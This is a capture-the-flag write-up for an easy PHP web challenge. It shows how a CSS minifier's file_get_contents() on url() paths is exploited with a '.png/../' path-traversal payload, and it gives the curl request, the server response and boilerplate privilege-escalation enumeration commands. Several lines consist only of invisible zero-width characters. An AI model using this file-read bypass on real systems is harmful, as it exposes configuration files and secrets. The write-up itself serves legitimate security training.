CSS

Platform: Spbctf | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-15 | Status: Solved Techniques: css_url_injection, file_get_contents_lfi, path_traversal_with_fake_extension, source_code_review, weak_extension_check_bypass

Summary

Task: CSS minifier web app with source code on GitHub. Solution: LFI via file_get_contents() on user-controlled CSS url() path, bypassing weak stripos() extension check with path traversal.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: spbctf | ID: 20260315_spbctf_css
• Tags: ssrf, lfi, path_traversal, php, file_get_contents, arbitrary_file_read, css_minifier
• Indicators: PHP file_get_contents on user-controlled path, CSS url() processing, weak file extension validation with stripos, source code available on GitHub
• Source: 20260315_spbctf_css.md

Foothold

Vulnerability / Misconfiguration

1. Css_url_injection
2. File_get_contents_lfi
3. Path_traversal_with_fake_extension
4. Source_code_review
5. Weak_extension_check_bypass

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• css_url_injection
• file_get_contents_lfi
• path_traversal_with_fake_extension
• source_code_review
• weak_extension_check_bypass
• Tags: ssrf, lfi, path_traversal, php, file_get_contents, arbitrary_file_read, css_minifier

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Web application "Minify Them All!!1" — a CSS minifier that accepts CSS code and returns a minified version. Source code is available on GitHub (https://github.com/Sinketsu/kids-css-minify), public directory: /var/www/html/public.

Analysis

Reviewing the repository revealed a custom Minifier.php class with a critical vulnerability in the importFiles() method:

protected function importFiles($source, $content)
{
    $regex = '/url\((["\']?)(.+?)\\1\)/i';
    if (preg_match_all($regex, $content, $matches, PREG_SET_ORDER)) {
        $search = [];
        $replace = [];
        foreach ($matches as $match) {
            $path = $match[2];
            if (!$this->isImage($path)) {
                continue;
            }
            $importContent = file_get_contents($path);
            $importContent = base64_encode($importContent);
            $search[] = $match[0];
            $type = "image/jpeg";
            $replace[] = 'url(data:'.$type.';base64,'.$importContent.')';
        }
        $content = str_replace($search, $replace, $content);
    }
    return $content;
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerabilities:

1. Unsanitized file_get_contents($path) — The path from CSS url() is passed directly to file_get_contents() without sanitization, allowing arbitrary local file reads (LFI/SSRF).

2. Weak isImage() check — Uses stripos($path, $ext) > 0, checking only for the presence of an image extension anywhere in the path, not at the end of the filename.

The config/app.php file in the repository contains a flag placeholder, indicating the location of the real flag.

Solution

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The exploit creates a CSS payload with url() containing a path that:

• Includes .png somewhere in the path to bypass the isImage() check
• Uses path traversal (../) to resolve to the target file

Payload:

body{background:url("/var/www/html/config/.png/../app.php")}

Command:

curl -s -X POST 'https://2019-11-10-css.ctf.su/compress.php' \
  -d 'css=body{background:url("/var/www/html/config/.png/../app.php")}'

Server response:

{"mini":"body{background:url(data:image\/jpeg;base64,PD9waHAKCi8vIEhleSwgdGhlcmUhIENURiBmbGFnIHdpbGwgYmUgaGVyZToKJENURl9GTEFHID0gJ3NwYmN0Znt2ZXJ5X3dlYWtfY2hlY2tfeWVhaD99Jzs=)}"}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Decoded base64:

<?php

// Hey, there! CTF flag will be here:
$CTF_FLAG = 'spbctf{REDACTED}';

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR